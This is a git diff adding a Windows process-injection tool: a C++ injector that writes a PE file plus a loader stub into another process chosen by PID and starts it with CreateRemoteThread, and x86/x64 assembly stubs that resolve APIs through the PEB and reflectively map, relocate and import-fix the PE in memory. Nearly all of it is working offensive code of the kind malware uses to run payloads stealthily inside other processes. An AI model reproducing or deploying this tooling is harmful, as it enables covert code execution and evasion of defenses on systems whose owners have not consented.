diff --git a/Utils/Utils.cpp b/Utils/Utils.cpp new file mode 100644 index 0000000..afe5511 --- /dev/null +++ b/Utils/Utils.cpp @@ -0,0 +1,98 @@ +#include "Utils.h" + +#pragma comment (lib, "ntdll.lib") + +#define CONSOLE_COLOR_GREEN 0xA +#define CONSOLE_COLOR_YELLOW 0xE +#define CONSOLE_COLOR_RED 0xC +#define CONSOLE_COLOR_WHITE 0x7 + +HANDLE hConsole = NULL; +CHAR ErrorMsg[MAX_PATH] = { 0 }; + +BOOL printf_success(LPCSTR _Format, ...) +{ + if (!hConsole) hConsole = GetStdHandle(STD_OUTPUT_HANDLE); + va_list ArgList = NULL; + va_start(ArgList, _Format); + SetConsoleTextAttribute(hConsole, CONSOLE_COLOR_GREEN); + printf("[+] "); + vprintf(_Format, ArgList); + SetConsoleTextAttribute(hConsole, CONSOLE_COLOR_WHITE); + va_end(ArgList); + return TRUE; +}; + +BOOL printf_info(LPCSTR _Format, ...) +{ + if (!hConsole) hConsole = GetStdHandle(STD_OUTPUT_HANDLE); + va_list ArgList = NULL; + va_start(ArgList, _Format); + SetConsoleTextAttribute(hConsole, CONSOLE_COLOR_YELLOW); + printf("[!] "); + vprintf(_Format, ArgList); + SetConsoleTextAttribute(hConsole, CONSOLE_COLOR_WHITE); + va_end(ArgList); + return TRUE; +}; + +BOOL printf_error(LPCSTR _Format, ...) +{ + if (!hConsole) hConsole = GetStdHandle(STD_OUTPUT_HANDLE); + va_list ArgList = NULL; + va_start(ArgList, _Format); + SetConsoleTextAttribute(hConsole, CONSOLE_COLOR_RED); + printf("[-] "); + vprintf(_Format, ArgList); + SetConsoleTextAttribute(hConsole, CONSOLE_COLOR_WHITE); + va_end(ArgList); + return TRUE; +}; + +LPCSTR GetLastErrorFormat(ULONG dwErrorCode) +{ + if (dwErrorCode == -1) dwErrorCode = GetLastError(); + if (!FormatMessageA( + FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, + NULL, + dwErrorCode, + MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), + ErrorMsg, + sizeof(ErrorMsg), + NULL)) + { + printf_error("Error at getting the last error format of code 0x%lx\n", dwErrorCode); + sprintf_s(ErrorMsg, "0x%lx", dwErrorCode); + }; + return ErrorMsg; +}; + +LPCSTR GetNtStatusFormat(NTSTATUS ntCode) +{ + ULONG dwErrorCode = RtlNtStatusToDosError(ntCode); + if (dwErrorCode == ERROR_MR_MID_NOT_FOUND) + { + printf_error("Error at getting the error code of ntstatus 0x%lx\n", ntCode); + sprintf_s(ErrorMsg, "0x%lx", dwErrorCode); + return ErrorMsg; + }; + return GetLastErrorFormat(dwErrorCode); +}; + +BOOL ReportBadPE(LPCSTR lpErrorStr) +{ + printf_error("Invalid or unsupported PE file, %s\n", lpErrorStr); + return TRUE; +}; + +BOOL ReportApiError(LPCSTR szApiName, LPCSTR szMsg) +{ + printf_error("Error at %s, %s, error code/msg = %s\n", szApiName, szMsg, GetLastErrorFormat(GetLastError())); + return TRUE; +}; + +BOOL ReportNtStastus(LPCSTR szApiName, NTSTATUS NtCode, LPCSTR szMsg) +{ + printf_error("Error at %s, %s, status code/msg = %s\n", szApiName, szMsg, GetNtStatusFormat(NtCode)); + return TRUE; +}; \ No newline at end of file diff --git a/Utils/Utils.h b/Utils/Utils.h new file mode 100644 index 0000000..3f5e689 --- /dev/null +++ b/Utils/Utils.h @@ -0,0 +1,19 @@ +#include +#include +#include + +#ifdef __GNUC__ +#define offsetof(type, member) __builtin_offsetof (type, member) +#endif + +#define GET_DIRECTORY_ENTRY(lpNtHeader, dwEntry) lpNtHeader->OptionalHeader.DataDirectory[dwEntry].VirtualAddress +#define GET_DIRECTORY_SIZE(lpNtHeader, dwEntry) lpNtHeader->OptionalHeader.DataDirectory[dwEntry].Size + +LPCSTR GetNtStatusFormat(NTSTATUS ntCode); +LPCSTR GetLastErrorFormat(ULONG dwErrorCode = -1); +BOOL printf_error(LPCSTR _Format, ...); +BOOL printf_info(LPCSTR _Format, ...); +BOOL printf_success(LPCSTR _Format, ...); +BOOL ReportBadPE(LPCSTR lpErrorStr); +BOOL ReportApiError(LPCSTR szApiName, LPCSTR szMsg); +BOOL ReportNtStastus(LPCSTR szApiName, NTSTATUS NtCode, LPCSTR szMsg); \ No newline at end of file diff --git a/bins/pe_to_shellcode32.exe b/bins/pe_to_shellcode32.exe new file mode 100644 index 0000000..33820ec Binary files /dev/null and b/bins/pe_to_shellcode32.exe differ diff --git a/bins/pe_to_shellcode64.exe b/bins/pe_to_shellcode64.exe new file mode 100644 index 0000000..05938e8 Binary files /dev/null and b/bins/pe_to_shellcode64.exe differ diff --git a/pe_to_shellcode_injector.cpp b/pe_to_shellcode_injector.cpp new file mode 100644 index 0000000..b5bc03e --- /dev/null +++ b/pe_to_shellcode_injector.cpp @@ -0,0 +1,159 @@ +#include "Utils/Utils.h" + +INT main(INT argc, CHAR** argv) { + + if (argc > 3) + { + LPCSTR szPeFile = argv[1]; + LPCSTR szStubFile = argv[2]; + DWORD dwPid = atoi(argv[3]); + + HANDLE hStubFile = NULL; + if (!(hStubFile = CreateFileA( + szStubFile, + GENERIC_READ, + 0, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL + )) || INVALID_HANDLE_VALUE == hStubFile) + { + ReportApiError("CreateFileA", "cannot open the supplied stub file"); + return FALSE; + }; + + HANDLE hExeFile = NULL; + if (!(hExeFile = CreateFileA( + szPeFile, + GENERIC_READ, + 0, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL + )) || INVALID_HANDLE_VALUE == hExeFile) + { + ReportApiError("CreateFileA", "cannot open the supplied exe file"); + return FALSE; + }; + + LARGE_INTEGER u32StubSize; + if (!GetFileSizeEx( + hStubFile, + &u32StubSize + )) + { + ReportApiError("GetFileSizeEx", "cannot get the size of the supplied stub file"); + return FALSE; + }; + + LARGE_INTEGER u32ExeSize; + if (!GetFileSizeEx( + hExeFile, + &u32ExeSize + )) + { + ReportApiError("GetFileSizeEx", "cannot get the size of the supplied exe file"); + return FALSE; + }; + + LPVOID lpShellcode = NULL; + if (!(lpShellcode = VirtualAlloc( + NULL, + (SIZE_T)(u32StubSize.QuadPart + u32ExeSize.QuadPart), + (MEM_COMMIT | MEM_RESERVE), + PAGE_READWRITE + ))) + { + ReportApiError("VirtualAlloc", "cannot allocate memory for the shellcode"); + return FALSE; + }; + + DWORD dwReadBytes = 0; + if (!ReadFile( + hStubFile, + lpShellcode, + (DWORD)u32StubSize.QuadPart, + &dwReadBytes, + NULL + ) || dwReadBytes != u32StubSize.QuadPart) + { + ReportApiError("ReadFile", "cannot read the stub file"); + return FALSE; + }; + + if (!ReadFile( + hExeFile, +#if defined(_M_X64) || defined(__amd64__) + (LPVOID)((ULONGLONG)lpShellcode + dwReadBytes), +#else + (LPVOID)((ULONGLONG)lpShellcode + dwReadBytes), +#endif + (DWORD)u32ExeSize.QuadPart, + &dwReadBytes, + NULL + ) || dwReadBytes != u32ExeSize.QuadPart) + { + ReportApiError("ReadFile", "cannot read the exe file"); + return FALSE; + }; + + HANDLE hProcess = NULL; + if (!(hProcess = OpenProcess( + PROCESS_ALL_ACCESS, + FALSE, + dwPid + ))) + { + ReportApiError("OpenProcess", "cannot open the target pid"); + return FALSE; + }; + + LPVOID lpAllocatedBase = NULL; + if (!(lpAllocatedBase = VirtualAllocEx( + hProcess, + NULL, + (SIZE_T)(u32StubSize.QuadPart + u32ExeSize.QuadPart), + (MEM_COMMIT | MEM_RESERVE), + PAGE_EXECUTE_READWRITE + ))) + { + ReportApiError("VirtualAllocEx", "cannot allocate at the remote process for the shellcode"); + return FALSE; + }; + + SIZE_T stWrittenBytes = 0; + if (!WriteProcessMemory( + hProcess, + lpAllocatedBase, + lpShellcode, + (SIZE_T)(u32StubSize.QuadPart + u32ExeSize.QuadPart), + &stWrittenBytes + ) || stWrittenBytes != u32StubSize.QuadPart + u32ExeSize.QuadPart) + { + ReportApiError("WriteProcessMemory", "cannot write at the remote process"); + return FALSE; + }; + + if (!CreateRemoteThread( + hProcess, + NULL, + 0, + (LPTHREAD_START_ROUTINE)lpAllocatedBase, + NULL, + 0, + NULL + )) + { + ReportApiError("CreateRemoteThread", "cannot create a new thread at the remote process"); + return FALSE; + }; + CloseHandle(hProcess); + } + else + { + printf("%s [exe] [stub] [pid]\n", argv[0]); + } + return TRUE; +} \ No newline at end of file diff --git a/stub/make.bat b/stub/make.bat new file mode 100644 index 0000000..9b63555 --- /dev/null +++ b/stub/make.bat @@ -0,0 +1,2 @@ +nasm -o stub_X32.bin -f bin stub_x32.asm +nasm -o stub_X64.bin -f bin stub_x64.asm \ No newline at end of file diff --git a/stub/stub_x32.asm b/stub/stub_x32.asm new file mode 100644 index 0000000..81347f6 --- /dev/null +++ b/stub/stub_x32.asm @@ -0,0 +1,258 @@ +bits 32 +%include "stub_x32.inc" + +Init: + fs mov eax, dword [TEB_PPEB_OFFSET] + mov eax, dword [eax + PEB_PLDR_OFFSET] + mov esi, dword [eax + LDR_PIN_ORDER_MOD_LIST_OFFSET] + lodsd + xchg eax, esi + lodsd + mov ebp, dword [eax + LDR_MODULE_BASE_OFFSET] + mov eax, dword [ebp + IMAGE_DOS_HEADER_LFANEW_OFFSET] + mov ebx, dword [ebp + eax + IMAGE_NT_HEADER_ENTRY_EXPORT_OFFSET] + add ebx, ebp + mov esi, [ebx + EXPORT_TABLE_ADDR_OF_NAMES_OFFSET] + add esi, ebp + xor ecx, ecx +FindGetProcAddr: + inc ecx + lodsd + add eax, ebp + cmp dword [eax], STRING_OF_GETP + jnz FindGetProcAddr + cmp dword [eax + 0x4], STRING_OF_ROCA + jnz FindGetProcAddr + cmp dword [eax + 0x8], STRING_OF_DDRE + jnz FindGetProcAddr + mov esi, [ebx + EXPORT_TABLE_ADDR_OF_ORDINALS_OFFSET] + add esi, ebp + mov cx, [esi + ecx*2] + dec ecx + mov esi, [ebx + EXPORT_TABLE_ADDR_OF_FUNCTIONS_OFFSET] + add esi, ebp + mov edi, [esi + ecx*4] + add edi, ebp + jmp GetPERawBase +PERawBase: + mov esi, [esp] + add esi, dword [esi + IMAGE_DOS_HEADER_LFANEW_OFFSET] + call VirtualAlloc + db 'VirtualAlloc', 0h +VirtualAlloc: + push ebp + call edi + push eax + push PAGE_EXECUTE_READWRITE + push MEM_COMMIT | MEM_RESERVE + push dword [esi + IMAGE_NT_HEADER_SIZE_OF_IMAGE_OFFSET] + push dword [esi + IMAGE_NT_HEADER_BASE_OF_IMAGE_OFFSET] + call eax + pop ecx + mov ebx, eax + test eax, eax + jnz BuildIAT + push PAGE_EXECUTE_READWRITE + push MEM_COMMIT | MEM_RESERVE + push dword [esi + IMAGE_NT_HEADER_SIZE_OF_IMAGE_OFFSET] + push 0 + call ecx + mov ebx, eax + jmp RelocatePE +Rva2Offset: + push ebx + push edx + push ebp + push edi + push ecx + mov ecx, esi + add ecx, SIZE_OF_IMAGE_NT_HEADER + xor ebp, ebp + mov bp, [esi + IMAGE_NT_HEADER_NUMBER_OF_SECTIONS_OFFSET] + push ebp + xor ebp, ebp +Rva2OffsetLoop: + cmp ebp, dword [esp] + je Rva2OffsetEndLoop + mov edx, dword [ecx + IMAGE_SECTION_HEADER_VIRTUAL_ADDR_OFFSET] + mov ebx, dword [ecx + IMAGE_SECTION_HEADER_VIRTUAL_SIZE_OFFSET] + mov edi, dword [ecx + IMAGE_SECTION_HEADER_POINTER_TO_RAW_DATA_OFFSET] + add ebx, edx + add ecx, SIZE_OF_IMAGE_SECTION_HEADER + inc ebp + cmp eax, edx + jl Rva2OffsetLoop + cmp eax, ebx + jge Rva2OffsetLoop + add eax, edi + sub eax, edx +Rva2OffsetEndLoop: + add esp, 4h + pop ecx + pop edi + pop ebp + pop edx + pop ebx + ret +RelocatePE: + push ebp + push edi + mov eax, dword [esi + IMAGE_NT_HEADER_ENTRY_RELOCS_OFFSET] + call Rva2Offset + add eax, [esp + 8h] + mov ebp, eax + xor ecx, ecx +RelocationLoop: + cmp ecx, dword [esi + IMAGE_NT_HEADER_ENTRY_RELOCS_OFFSET + 4h] + je RelocationLoopEnd + mov edx, ebp + add edx, 8h + push ecx + mov edi, dword [ebp + 4h] + sub edi, 8h + shr edi, 1h + xor ecx, ecx +BlocksLoop: + cmp ecx, edi + je BlocksLoopEnd + xor eax, eax + mov ax, [edx] + test eax, eax + jz EscapeBlock + and ax, 0fffh + add eax, dword [ebp] + call Rva2Offset + add eax, dword [esp + 0ch] + push ecx + mov ecx, dword [esi + IMAGE_NT_HEADER_BASE_OF_IMAGE_OFFSET] + sub dword [eax], ecx + add dword [eax], ebx + pop ecx +EscapeBlock: + inc ecx + add edx, 2h + jmp BlocksLoop +BlocksLoopEnd: + pop ecx + add ecx, dword [ebp + 4h] + add ebp, dword [ebp + 4h] + jmp RelocationLoop +RelocationLoopEnd: + pop edi + pop ebp +BuildIAT: + call LoadLibrary + db 'LoadLibraryA', 0h +LoadLibrary: + push ebp + call edi + mov edx, eax + mov eax, dword [esi + IMAGE_NT_HEADER_ENTRY_IMPORT_OFFSET] + call Rva2Offset + add eax, [esp] + mov ecx, eax +DescriptorsLoop: + mov eax, dword [ecx + IMAGE_IMPORT_DESCRIPTOR_NAME_OFFSET] + test eax, eax + jz DescriptorsLoopEnd + call Rva2Offset + add eax, [esp] + push ecx + push edx + push eax + call edx + pop edx + pop ecx + push edx + push ebx + push ebp + mov ebp, eax + mov eax, dword [ecx + IMAGE_IMPORT_DESCRIPTOR_FIRST_THUNK_OFFSET] + call Rva2Offset + add eax, [esp + 0ch] + mov edx, eax + cmp dword [ecx + IMAGE_IMPORT_DESCRIPTOR_TIME_STAMP_OFFSET], 0 + je NotBoundedImport + mov eax, dword [ecx] + call Rva2Offset + add eax, [esp + 0ch] + mov ebx, eax + jmp ThunkArraysLoop +NotBoundedImport: + mov ebx, edx +ThunkArraysLoop: + mov eax, [ebx] + test eax, eax + jz ThunkArraysLoopEnd + bt eax, 1fh + jc ImportByOrdinal + call Rva2Offset + add eax, [esp + 0ch] + add eax, 2h + jmp GetApiAddr +ImportByOrdinal: + and eax, 0ffffh +GetApiAddr: + push ecx + push edx + push eax + push ebp + call edi + pop edx + pop ecx + mov dword [edx], eax + add ebx, SIZE_OF_IMAGE_THUNK_DATA + add edx, SIZE_OF_IMAGE_THUNK_DATA + jmp ThunkArraysLoop +ThunkArraysLoopEnd: + pop ebp + pop ebx + pop edx + add ecx, SIZE_OF_IMAGE_IMPORT_DESCRIPTOR + jmp DescriptorsLoop +DescriptorsLoopEnd: + push edi + push ebp + mov ecx, esi + add ecx, SIZE_OF_IMAGE_NT_HEADER + xor eax, eax + xor edx, edx + mov dx, word [esi + IMAGE_NT_HEADER_NUMBER_OF_SECTIONS_OFFSET] +MapSectionLoop: + cmp eax, edx + je MapSectionLoopEnd + mov edi, ebx + mov ebp, esi + mov esi, [esp + 8h] + add esi, dword [ecx + IMAGE_SECTION_HEADER_POINTER_TO_RAW_DATA_OFFSET] + add edi, dword [ecx + IMAGE_SECTION_HEADER_VIRTUAL_ADDR_OFFSET] + push dword [ecx + IMAGE_SECTION_HEADER_SIZE_OF_RAW_DATA_OFFSET] + xchg ecx, [esp] + rep movsb + pop ecx + mov esi, ebp + inc eax + add ecx, SIZE_OF_IMAGE_SECTION_HEADER + jmp MapSectionLoop +MapSectionLoopEnd: + pop ebp + pop edi + mov eax, dword [esi + IMAGE_NT_HEADER_ADDR_OF_ENTRY_POINT_OFFSET] + add eax, ebx + mov dword [esp], eax + call VirtualFree + db 'VirtualFree', 0h +VirtualFree: + push ebp + call edi + pop esi + push MEM_RELEASE + push 0 + call PushShellcodeBase +PushShellcodeBase: + sub dword [esp], PushShellcodeBase + push esi + push eax + ret +GetPERawBase: + call PERawBase \ No newline at end of file diff --git a/stub/stub_x32.inc b/stub/stub_x32.inc new file mode 100644 index 0000000..f5f9ef8 --- /dev/null +++ b/stub/stub_x32.inc @@ -0,0 +1,43 @@ + +TEB_PPEB_OFFSET equ 30h +PEB_PLDR_OFFSET equ 0ch +LDR_PIN_ORDER_MOD_LIST_OFFSET equ 0ch +LDR_MODULE_BASE_OFFSET equ 18h +IMAGE_DOS_HEADER_LFANEW_OFFSET equ 3ch + +IMAGE_NT_HEADER_ENTRY_EXPORT_OFFSET equ 78h +IMAGE_NT_HEADER_ENTRY_IMPORT_OFFSET equ 80h +IMAGE_NT_HEADER_ENTRY_RELOCS_OFFSET equ 0a0h + +EXPORT_TABLE_ADDR_OF_NAMES_OFFSET equ 20h +EXPORT_TABLE_ADDR_OF_ORDINALS_OFFSET equ 24h +EXPORT_TABLE_ADDR_OF_FUNCTIONS_OFFSET equ 1ch + +STRING_OF_GETP equ 50746547h +STRING_OF_ROCA equ 41636f72h +STRING_OF_DDRE equ 65726464h + +MEM_COMMIT equ 1000h +MEM_RESERVE equ 2000h +MEM_RELEASE equ 8000h + +PAGE_EXECUTE_READWRITE equ 40h + +IMAGE_NT_HEADER_SIZE_OF_IMAGE_OFFSET equ 50h +IMAGE_NT_HEADER_BASE_OF_IMAGE_OFFSET equ 34h +IMAGE_SECTION_HEADER_VIRTUAL_SIZE_OFFSET equ 8h +IMAGE_SECTION_HEADER_VIRTUAL_ADDR_OFFSET equ 0ch +IMAGE_NT_HEADER_NUMBER_OF_SECTIONS_OFFSET equ 6h +IMAGE_NT_HEADER_ADDR_OF_ENTRY_POINT_OFFSET equ 28h +IMAGE_SECTION_HEADER_POINTER_TO_RAW_DATA_OFFSET equ 14h +IMAGE_SECTION_HEADER_SIZE_OF_RAW_DATA_OFFSET equ 10h +SIZE_OF_IMAGE_IMPORT_DESCRIPTOR equ 14h + +SIZE_OF_IMAGE_THUNK_DATA equ 4h +SIZE_OF_IMAGE_NT_HEADER equ 0F8h +SIZE_OF_IMAGE_SECTION_HEADER equ 28h + +IMAGE_IMPORT_DESCRIPTOR_TIME_STAMP_OFFSET equ 4h +IMAGE_IMPORT_DESCRIPTOR_NAME_OFFSET equ 0ch +IMAGE_IMPORT_DESCRIPTOR_FIRST_THUNK_OFFSET equ 10h + diff --git a/stub/stub_x64.asm b/stub/stub_x64.asm new file mode 100644 index 0000000..5d0d91f --- /dev/null +++ b/stub/stub_x64.asm @@ -0,0 +1,265 @@ +bits 64 +%include "stub_x64.inc" + +Init: + sub rsp, 28h + gs mov rax, qword [TEB_PPEB_OFFSET] + mov rax, qword [rax + PEB_PLDR_OFFSET] + mov rsi, qword [rax + LDR_PIN_ORDER_MOD_LIST_OFFSET] + lodsq + xchg rax, rsi + lodsq + mov rbp, qword [rax + LDR_MODULE_BASE_OFFSET] + mov eax, dword [rbp + IMAGE_DOS_HEADER_LFANEW_OFFSET] + mov ebx, dword [rbp + rax + IMAGE_NT_HEADER_ENTRY_EXPORT_OFFSET] + add rbx, rbp + mov esi, [rbx + EXPORT_TABLE_ADDR_OF_NAMES_OFFSET] + add rsi, rbp + xor rcx, rcx +FindGetProcAddr: + inc rcx + lodsd + add rax, rbp + cmp dword [rax], STRING_OF_GETP + jnz FindGetProcAddr + cmp dword [rax + 0x4], STRING_OF_ROCA + jnz FindGetProcAddr + cmp dword [rax + 0x8], STRING_OF_DDRE + jnz FindGetProcAddr + mov esi, [rbx + EXPORT_TABLE_ADDR_OF_ORDINALS_OFFSET] + add rsi, rbp + mov cx, [rsi + rcx*2] + dec rcx + mov esi, [rbx + EXPORT_TABLE_ADDR_OF_FUNCTIONS_OFFSET] + add rsi, rbp + mov edi, [rsi + rcx*4] + add rdi, rbp + jmp GetPERawBase +PERawBase: + pop r15 + mov rsi, r15 + mov eax, dword [rsi + IMAGE_DOS_HEADER_LFANEW_OFFSET] + add rsi, rax + call VirtualAlloc + db 'VirtualAlloc', 0h +VirtualAlloc: + pop rdx + mov rcx, rbp + call rdi + mov r12, rax + mov r9, PAGE_EXECUTE_READWRITE + mov r8, MEM_COMMIT | MEM_RESERVE + mov edx, dword [rsi + IMAGE_NT_HEADER_SIZE_OF_IMAGE_OFFSET] + mov rcx, qword [rsi + IMAGE_NT_HEADER_BASE_OF_IMAGE_OFFSET] + call rax + mov rbx, rax + test rax, rax + jnz BuildIAT + mov r9, PAGE_EXECUTE_READWRITE + mov r8, MEM_COMMIT | MEM_RESERVE + mov edx, dword [rsi + IMAGE_NT_HEADER_SIZE_OF_IMAGE_OFFSET] + mov rcx, 0 + call r12 + mov rbx, rax + jmp RelocatePE +Rva2Offset: + push r8 + push r9 + push r10 + push r11 + push r12 + push r13 + mov r12, rsi + add r12, SIZE_OF_IMAGE_NT_HEADER + xor r13, r13 + mov r13w, [rsi + IMAGE_NT_HEADER_NUMBER_OF_SECTIONS_OFFSET] + xor r10, r10 +Rva2OffsetLoop: + cmp r10, r13 + je Rva2OffsetEndLoop + mov r9d, dword [r12 + IMAGE_SECTION_HEADER_VIRTUAL_ADDR_OFFSET] + mov r8d, dword [r12 + IMAGE_SECTION_HEADER_VIRTUAL_SIZE_OFFSET] + mov r11d, dword [r12 + IMAGE_SECTION_HEADER_POINTER_TO_RAW_DATA_OFFSET] + add r8, r9 + add r12, SIZE_OF_IMAGE_SECTION_HEADER + inc r10 + cmp rax, r9 + jl Rva2OffsetLoop + cmp rax, r8 + jge Rva2OffsetLoop + add rax, r11 + sub rax, r9 +Rva2OffsetEndLoop: + pop r13 + pop r12 + pop r11 + pop r10 + pop r9 + pop r8 + ret +RelocatePE: + mov r8, rbp + mov r9, rdi + mov eax, dword [rsi + IMAGE_NT_HEADER_ENTRY_RELOCS_OFFSET] + call Rva2Offset + add rax, r15 + mov rbp, rax + xor rcx, rcx +RelocationLoop: + cmp ecx, dword [rsi + IMAGE_NT_HEADER_ENTRY_RELOCS_OFFSET + 4h] + je RelocationLoopEnd + mov rdx, rbp + add rdx, 8h + mov r14, rcx + mov edi, dword [rbp + 4h] + sub rdi, 8h + shr rdi, 1h + xor rcx, rcx +BlocksLoop: + cmp rcx, rdi + je BlocksLoopEnd + xor rax, rax + mov ax, [rdx] + test rax, rax + jz EscapeBlock + and ax, 0fffh + add eax, dword [rbp] + call Rva2Offset + add rax, r15 + mov r10, qword [rsi + IMAGE_NT_HEADER_BASE_OF_IMAGE_OFFSET] + sub qword [rax], r10 + add qword [rax], rbx +EscapeBlock: + inc rcx + add rdx, 2h + jmp BlocksLoop +BlocksLoopEnd: + mov rcx, r14 + add ecx, dword [rbp + 4h] + mov r14d, dword [rbp + 4h] + add rbp, r14 + jmp RelocationLoop +RelocationLoopEnd: + mov rbp, r8 + mov rdi, r9 +BuildIAT: + call LoadLibrary + db 'LoadLibraryA', 0h +LoadLibrary: + pop rdx + mov rcx, rbp + call rdi + mov rdx, rax + mov eax, dword [rsi + IMAGE_NT_HEADER_ENTRY_IMPORT_OFFSET] + call Rva2Offset + add rax, r15 + mov rcx, rax +DescriptorsLoop: + mov eax, dword [rcx + IMAGE_IMPORT_DESCRIPTOR_NAME_OFFSET] + test eax, eax + jz DescriptorsLoopEnd + call Rva2Offset + add rax, r15 + mov r12, rcx + mov r13, rdx + mov rcx, rax + call rdx + mov rcx, r12 + mov rdx, r13 + mov r12, rdx + mov r13, rbx + mov r14, rbp + mov rbp, rax + mov eax, dword [rcx + IMAGE_IMPORT_DESCRIPTOR_FIRST_THUNK_OFFSET] + call Rva2Offset + add rax, r15 + mov rdx, rax + cmp dword [rcx + IMAGE_IMPORT_DESCRIPTOR_TIME_STAMP_OFFSET], 0 + je NotBoundedImport + mov eax, dword [rcx] + call Rva2Offset + add rax, r15 + mov rbx, rax + jmp ThunkArraysLoop +NotBoundedImport: + mov rbx, rdx +ThunkArraysLoop: + mov rax, [rbx] + test rax, rax + jz ThunkArraysLoopEnd + bt rax, 3fh + jc ImportByOrdinal + call Rva2Offset + add rax, r15 + add rax, 2h + jmp GetApiAddr +ImportByOrdinal: + and rax, 0ffffh +GetApiAddr: + xchg rcx, [rsp + 30h] + xchg rdx, [rsp + 38h] + mov rdx, rax + mov rcx, rbp + call rdi + xchg rcx, [rsp + 30h] + xchg rdx, [rsp + 38h] + mov qword [rdx], rax + add rbx, SIZE_OF_IMAGE_THUNK_DATA + add rdx, SIZE_OF_IMAGE_THUNK_DATA + jmp ThunkArraysLoop +ThunkArraysLoopEnd: + mov rdx, r12 + mov rbx, r13 + mov rbp, r14 + add rcx, SIZE_OF_IMAGE_IMPORT_DESCRIPTOR + jmp DescriptorsLoop +DescriptorsLoopEnd: + mov r12, rdi + mov r13, rbp + mov rcx, rsi + add rcx, SIZE_OF_IMAGE_NT_HEADER + xor rax, rax + xor rdx, rdx + mov dx, word [rsi + IMAGE_NT_HEADER_NUMBER_OF_SECTIONS_OFFSET] +MapSectionLoop: + cmp rax, rdx + je MapSectionLoopEnd + mov rdi, rbx + mov rbp, rsi + mov rsi, r15 + mov r14d, dword [rcx + IMAGE_SECTION_HEADER_POINTER_TO_RAW_DATA_OFFSET] + add rsi, r14 + mov r14d, dword [rcx + IMAGE_SECTION_HEADER_VIRTUAL_ADDR_OFFSET] + add rdi, r14 + mov r14, rcx + mov ecx, dword [rcx + IMAGE_SECTION_HEADER_SIZE_OF_RAW_DATA_OFFSET] + rep movsb + mov rcx, r14 + mov rsi, rbp + inc rax + add rcx, SIZE_OF_IMAGE_SECTION_HEADER + jmp MapSectionLoop +MapSectionLoopEnd: + mov rdi, r12 + mov rbp, r13 + mov eax, dword [rsi + IMAGE_NT_HEADER_ADDR_OF_ENTRY_POINT_OFFSET] + add rax, rbx + mov rsi, rax + call VirtualFree + db 'VirtualFree', 0h +VirtualFree: + pop rdx + mov rcx, rbp + call rdi + mov r8, MEM_RELEASE + xor rdx, rdx + call PushShellcodeBase +PushShellcodeBase: + pop rcx + sub rcx, PushShellcodeBase + add rsp, 28h + push rsi + push rax + ret +GetPERawBase: + call PERawBase \ No newline at end of file diff --git a/stub/stub_x64.inc b/stub/stub_x64.inc new file mode 100644 index 0000000..b5ffea8 --- /dev/null +++ b/stub/stub_x64.inc @@ -0,0 +1,42 @@ + +TEB_PPEB_OFFSET equ 60h +PEB_PLDR_OFFSET equ 18h +LDR_PIN_ORDER_MOD_LIST_OFFSET equ 10h +LDR_MODULE_BASE_OFFSET equ 30h +IMAGE_DOS_HEADER_LFANEW_OFFSET equ 3ch + +IMAGE_NT_HEADER_ENTRY_EXPORT_OFFSET equ 88h +IMAGE_NT_HEADER_ENTRY_IMPORT_OFFSET equ 90h +IMAGE_NT_HEADER_ENTRY_RELOCS_OFFSET equ 0b0h + +EXPORT_TABLE_ADDR_OF_NAMES_OFFSET equ 20h +EXPORT_TABLE_ADDR_OF_ORDINALS_OFFSET equ 24h +EXPORT_TABLE_ADDR_OF_FUNCTIONS_OFFSET equ 1ch + +STRING_OF_GETP equ 50746547h +STRING_OF_ROCA equ 41636f72h +STRING_OF_DDRE equ 65726464h + +MEM_COMMIT equ 1000h +MEM_RESERVE equ 2000h +MEM_RELEASE equ 8000h + +PAGE_EXECUTE_READWRITE equ 40h + +IMAGE_NT_HEADER_SIZE_OF_IMAGE_OFFSET equ 50h +IMAGE_NT_HEADER_BASE_OF_IMAGE_OFFSET equ 30h +IMAGE_SECTION_HEADER_VIRTUAL_SIZE_OFFSET equ 8h +IMAGE_SECTION_HEADER_VIRTUAL_ADDR_OFFSET equ 0ch +IMAGE_NT_HEADER_NUMBER_OF_SECTIONS_OFFSET equ 6h +IMAGE_NT_HEADER_ADDR_OF_ENTRY_POINT_OFFSET equ 28h +IMAGE_SECTION_HEADER_POINTER_TO_RAW_DATA_OFFSET equ 14h +IMAGE_SECTION_HEADER_SIZE_OF_RAW_DATA_OFFSET equ 10h +SIZE_OF_IMAGE_IMPORT_DESCRIPTOR equ 14h + +SIZE_OF_IMAGE_THUNK_DATA equ 8h +SIZE_OF_IMAGE_NT_HEADER equ 108h +SIZE_OF_IMAGE_SECTION_HEADER equ 28h + +IMAGE_IMPORT_DESCRIPTOR_TIME_STAMP_OFFSET equ 4h +IMAGE_IMPORT_DESCRIPTOR_NAME_OFFSET equ 0ch +IMAGE_IMPORT_DESCRIPTOR_FIRST_THUNK_OFFSET equ 10h \ No newline at end of file diff --git a/stub_x32.bin b/stub_x32.bin new file mode 100644 index 0000000..0885d6f Binary files /dev/null and b/stub_x32.bin differ diff --git a/stub_x64.bin b/stub_x64.bin new file mode 100644 index 0000000..af620c3 Binary files /dev/null and b/stub_x64.bin differ